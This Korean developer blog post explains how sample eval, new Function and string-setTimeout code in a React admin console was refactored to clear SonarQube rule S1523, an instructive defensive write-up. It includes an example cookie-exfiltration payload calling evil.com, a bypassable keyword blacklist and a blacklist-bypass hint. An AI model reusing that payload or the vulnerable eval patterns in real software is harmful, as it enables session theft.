SonarQube eval Injection 해결 — Function 동적 실행 3가지

이 글에 등장하는 코드는 금융권 보안 정책상 실제 프로젝트 코드를 그대로 공개할 수 없어, 동일한 취약 패턴과 해결 흐름을 재현한 샘플로 대체했다. 클래스명·변수명·경로 같은 식별자는 가상이지만, SonarQube가 잡는 데이터 플로우와 통과 조건은 실제 환경과 같다.

JDK 21 업그레이드 병행 작업으로 Java 쪽 룰을 처리하던 중에, 어드민 콘솔 SPA(React) 쪽에서도 SonarQube 스캔을 돌렸다. 금융 리포트 어드민인데, 운영팀이 직접 KPI 수식을 정의할 수 있는 필터 기능이 있었다. 사용자가 텍스트 박스에 수식을 입력하면 JavaScript가 그 식을 평가해서 결과를 미리 보여주는 구조였다. 이 코드에서 SonarQube eval Injection 룰 S1523이 7건 떴다. SonarQube eval Injection은 JavaScript 룰이라, Java 쪽 SpEL/OGNL injection은 taint analysis 다른 룰 계열로 분리돼 잡히기 때문에 본 케이스 정리에서는 빼두었다.

메시지는 “Dynamically executing code is security-sensitive”였다. 카테고리는 Security Hotspot, CWE-95다. SonarQube XSS(S5131)가 출력 단 인코딩 부재를 잡는다면, SonarQube eval Injection S1523은 코드 자체를 동적으로 실행하는 패턴을 잡는다. 공격자가 악의적인 JS 코드를 수식으로 흘려 넣으면 브라우저 컨텍스트에서 그대로 실행된다는 게 위협 시나리오다.

처음에는 “어드민만 쓰는 기능인데 뭐가 문제야”라는 생각이 들었다. 근데 어드민 계정이 탈취되거나, XSS로 입력 필드가 조작되는 케이스를 생각하면 달라진다. 그리고 SonarQube Hotspot은 “안전하다는 게 확인되지 않으면 열어둔다”는 원칙이라 해명 처리가 아닌 구조 수정이 필요했다. 3번 시도했다.

SonarQube eval Injection — S1523 Security Hotspot 경고 화면

eval Injection이 뜨는 패턴

S1523이 잡는 패턴은 크게 세 가지다. 어드민 콘솔에서는 셋 다 나왔다.

패턴 1. eval(userInput) 직접 호출

가장 전형적인 형태다. 사용자가 입력한 수식 문자열을 eval()에 그대로 넣는다.

// ReportFilterEvaluator.js — 취약 코드
function evaluateFormula(formula, context) {
  // context: { revenue: 15000000, cost: 9000000, units: 300 }
  // formula: 사용자 입력, 예: "revenue - cost" 또는 "(revenue / units) * 1.1"
  try {
    const result = eval(formula); // S1523: Dynamically executing code
    return result;
  } catch (e) {
    return null;
  }
}

수식 컨텍스트를 위해 with(context) { eval(formula) }로 쓴 버전도 있었다. Sonar는 이 패턴도 동일하게 잡는다. formulafetch('https://evil.com?c='+document.cookie)를 넣으면 어드민 쿠키가 외부로 나간다.

패턴 2. new Function(code) 생성자 호출

// 다른 모듈에서 발견된 패턴
function buildCalculator(code) {
  const fn = new Function('data', code); // S1523
  return fn;
}

// 호출부
const calc = buildCalculator('return data.revenue * data.taxRate;');
const result = calc(reportData);

Function 생성자는 eval과 본질적으로 같다. 첫 번째 인자는 매개변수 이름, 마지막 인자가 함수 본문 코드다. 동적 문자열이 함수 본문으로 들어가면 S1523이 동일하게 뜬다.

패턴 3. setTimeout/setInterval 문자열 인자

// 폴링 설정 모듈에서 발견
function scheduleRefresh(intervalMs, callbackCode) {
  setTimeout(callbackCode, intervalMs); // S1523 — 문자열 인자
}

// 호출부 (레거시 코드에서 함수 참조 대신 문자열로 전달했던 케이스)
scheduleRefresh(5000, 'refreshDashboard()');

setTimeoutsetInterval의 첫 번째 인자가 함수 참조가 아닌 문자열이면 내부적으로 eval과 동일하게 처리된다. S1523이 뜬다. 이 패턴은 레거시 코드에서 가끔 남아 있다.

시도 1. 정규식 sanitize — 실패

제일 먼저 든 생각은 “위험한 문자를 걸러내면 되지 않을까”였다. XSS(S5131) 대응 때도 비슷한 시도를 했다가 실패했는데, eval 쪽도 같은 결말이었다.

// 시도 1 — 정규식 블랙리스트 sanitize
function sanitizeFormula(formula) {
  // fetch, XMLHttpRequest, document, window 같은 위험 키워드 차단 시도
  const dangerous = /\b(fetch|XMLHttpRequest|document|window|eval|Function|import|require|process)\b/gi;
  const cleaned = formula.replace(dangerous, '');
  return cleaned;
}

function evaluateFormula(formula, context) {
  const safe = sanitizeFormula(formula); // sanitize했으니 괜찮겠지?
  const result = eval(safe);             // S1523: 여전히 뜸
  return result;
}

결과는 여전히 S1523이었다. SonarQube는 sanitize 함수를 거쳤더라도 최종적으로 eval()에 외부에서 온 데이터가 들어가는 흐름 자체를 위험으로 본다. 알려진 whitelist sanitizer가 아닌 자체 구현 정규식은 신뢰하지 않는다. 실제로도 블랙리스트는 우회 방법이 너무 많다. fetch를 막았어도 this['fe'+'tch']나 유니코드 우회로 뚫린다. 실패다.

30분 날리고 나서 이건 sanitize로는 안 된다는 걸 인정했다.

시도 2. Function constructor 분리 — 통과 but 같은 위험

다음은 “eval을 직접 쓰지 않으면 Sonar가 안 잡지 않을까”라는 발상이었다. eval 대신 new Function()으로 래핑하면 어떻게 될까 싶었다.

// 시도 2 — eval 대신 Function constructor로 우회 시도
function evaluateFormula(formula, context) {
  // eval 대신 Function 생성자 사용
  const keys = Object.keys(context);
  const values = Object.values(context);

  try {
    // 컨텍스트 변수를 매개변수로 주입
    const fn = new Function(...keys, `return (${formula});`); // S1523: 여전히 뜸
    return fn(...values);
  } catch (e) {
    return null;
  }
}

이 코드는 SonarQube가 통과시키는 경우도 있고 안 하는 경우도 있었다. 정확히 말하면, formula가 외부 입력(user-controlled taint)으로 추적되는 경우 new Function() 생성자에 흘러 들어가도 S1523이 떴다. Sonar taint analysis가 데이터 플로우를 따라가기 때문이다. 그리고 설령 통과가 됐더라도 보안 위험은 eval과 완전히 동일하다.

new Function('return fetch(...)')를 실행하면 그냥 실행된다. eval과 같다. 이 시도는 “SonarQube 통과”보다 “실제 보안 문제 해결”이 안 됐다는 게 더 큰 문제였다. SonarQube S1523은 Security Hotspot이라 “왜 이게 안전한지 설명하라”는 룰이다. 설명이 안 되면 구조를 바꿔야 한다.

시도 3. 표현식 파서 또는 화이트리스트 — 최종

결국 eval을 완전히 없애는 방향으로 갔다. 두 가지 경로가 있었다.

경로 A. mathjs evaluate — 수식 파서 라이브러리

수식 평가가 목적이라면 mathjs 같은 안전한 수학 표현식 파서를 쓰는 게 맞다. mathjs의 math.evaluate()는 자체 파서로 수식을 처리해서 JS 코드 실행과 분리된다. fetchdocument 같은 JS 전역 객체에 접근할 수 없다.

// package.json
// "mathjs": "^13.0.0"

// ReportFilterEvaluator.js — mathjs 버전
import * as math from 'mathjs';

function evaluateFormula(formula, context) {
  // context: { revenue: 15000000, cost: 9000000, units: 300 }
  // formula: "revenue - cost" 또는 "(revenue / units) * 1.1"

  try {
    // math.evaluate(expr, scope) — eval/Function 없이 수식 평가
    // scope로 허용된 변수만 노출, JS 전역 객체 접근 불가
    const result = math.evaluate(formula, context);

    if (typeof result !== 'number' || !isFinite(result)) {
      throw new Error('수식 결과가 숫자가 아님');
    }
    return result;
  } catch (e) {
    console.warn('수식 평가 오류:', e.message);
    return null;
  }
}

math.evaluate는 수식 안에서 fetchprocess 같은 식별자를 scope에서 찾는다. scope에 없으면 “Undefined symbol”로 에러를 던질 뿐 JS 코드로 실행하지 않는다. S1523이 사라진다. SonarQube는 math.evaluate()를 eval로 추적하지 않는다.

단, mathjs는 번들 크기가 크다(minified ~800KB). 수식이 단순한 사칙연산 수준이라면 경로 B가 더 적합하다.

경로 B. switch/case 디스패처 — 화이트리스트 방식

수식이 고정된 몇 가지 패턴 중 하나인 경우라면, 아예 eval 없이 case 기반 디스패처로 구현할 수 있다. 어드민 콘솔의 KPI 수식이 사실상 5~6가지로 한정돼 있었기 때문에 이 방법이 더 현실적이었다.

// FormulaDispatcher.js — 화이트리스트 디스패처
const ALLOWED_FORMULAS = {
  'gross_profit':    (d) => d.revenue - d.cost,
  'profit_margin':   (d) => ((d.revenue - d.cost) / d.revenue) * 100,
  'revenue_per_unit':(d) => d.revenue / d.units,
  'cost_ratio':      (d) => (d.cost / d.revenue) * 100,
  'arpu':            (d) => d.revenue / d.activeUsers,
  'cac':             (d) => d.marketingCost / d.newUsers,
};

function evaluateFormula(formulaKey, context) {
  // formulaKey: 사용자가 선택한 수식 키 (드롭다운으로 받음)
  const fn = ALLOWED_FORMULAS[formulaKey];

  if (!fn) {
    console.warn('허용되지 않은 수식:', formulaKey);
    return null;
  }

  try {
    const result = fn(context);
    if (typeof result !== 'number' || !isFinite(result)) {
      return null;
    }
    return Math.round(result * 100) / 100;
  } catch (e) {
    return null;
  }
}

eval이 아예 없으니 S1523이 뜰 여지가 없다. 사용자는 텍스트 박스 대신 드롭다운에서 수식을 선택한다. UX가 약간 제약되지만, “사용자 정의 수식”이 실제로 필요한 케이스가 얼마나 되는지 운영팀에 확인했더니 고정 수식으로도 충분하다는 답이 왔다.

setTimeout 문자열 패턴 수정

폴링 모듈의 setTimeout(callbackCode, ms) 패턴은 간단히 해결됐다. 문자열 대신 함수 참조를 넘기면 된다.

// Before — S1523
setTimeout('refreshDashboard()', 5000);

// After — 함수 참조 전달, eval 없음
setTimeout(() => refreshDashboard(), 5000);

// 또는
setTimeout(refreshDashboard, 5000);

이건 레거시 습관에서 비롯된 패턴이라 이참에 전부 정리했다. Command Injection(S2076) 정리 때도 느꼈지만, 오래된 코딩 습관에서 보안 이슈가 나오는 케이스다.

최종 구조 요약

7건 중 분류는 이렇게 됐다.

  • 수식 평가 eval 3건 → mathjs math.evaluate(expr, scope)로 교체
  • Function constructor 2건 → switch/case 디스패처로 교체 (수식 유형 고정)
  • setTimeout 문자열 2건() => fn() 함수 참조로 교체

S1523 7건이 전부 사라졌다. 수식 평가 기능 자체는 유지하면서 eval 의존성을 완전히 제거했다.

정리

SonarQube eval Injection(S1523)의 본질은 사용자 입력이 JS 실행 엔진으로 흘러 들어가는 경로를 차단하는 것이다. 정규식 sanitize로는 절대 통과 안 되고, new Function()으로 우회해도 taint 추적이 따라온다. eval/Function을 쓰지 않는 구조 자체가 답이다.

SonarQube XXE(S2755)가 XML 파서 입력 문제였다면, SonarQube eval Injection은 JS 인터프리터 자체에 코드를 직접 주입하는 문제다. 위협 수준이 더 높다. 다음 편은 CORS(S5122) — Access-Control-Allow-Origin: *credentials: true를 같이 쓴 설정에서 Hotspot이 쏟아진 케이스다.

룰 본문은 SonarSource 공식 룰 페이지(S1523)에서 확인할 수 있다.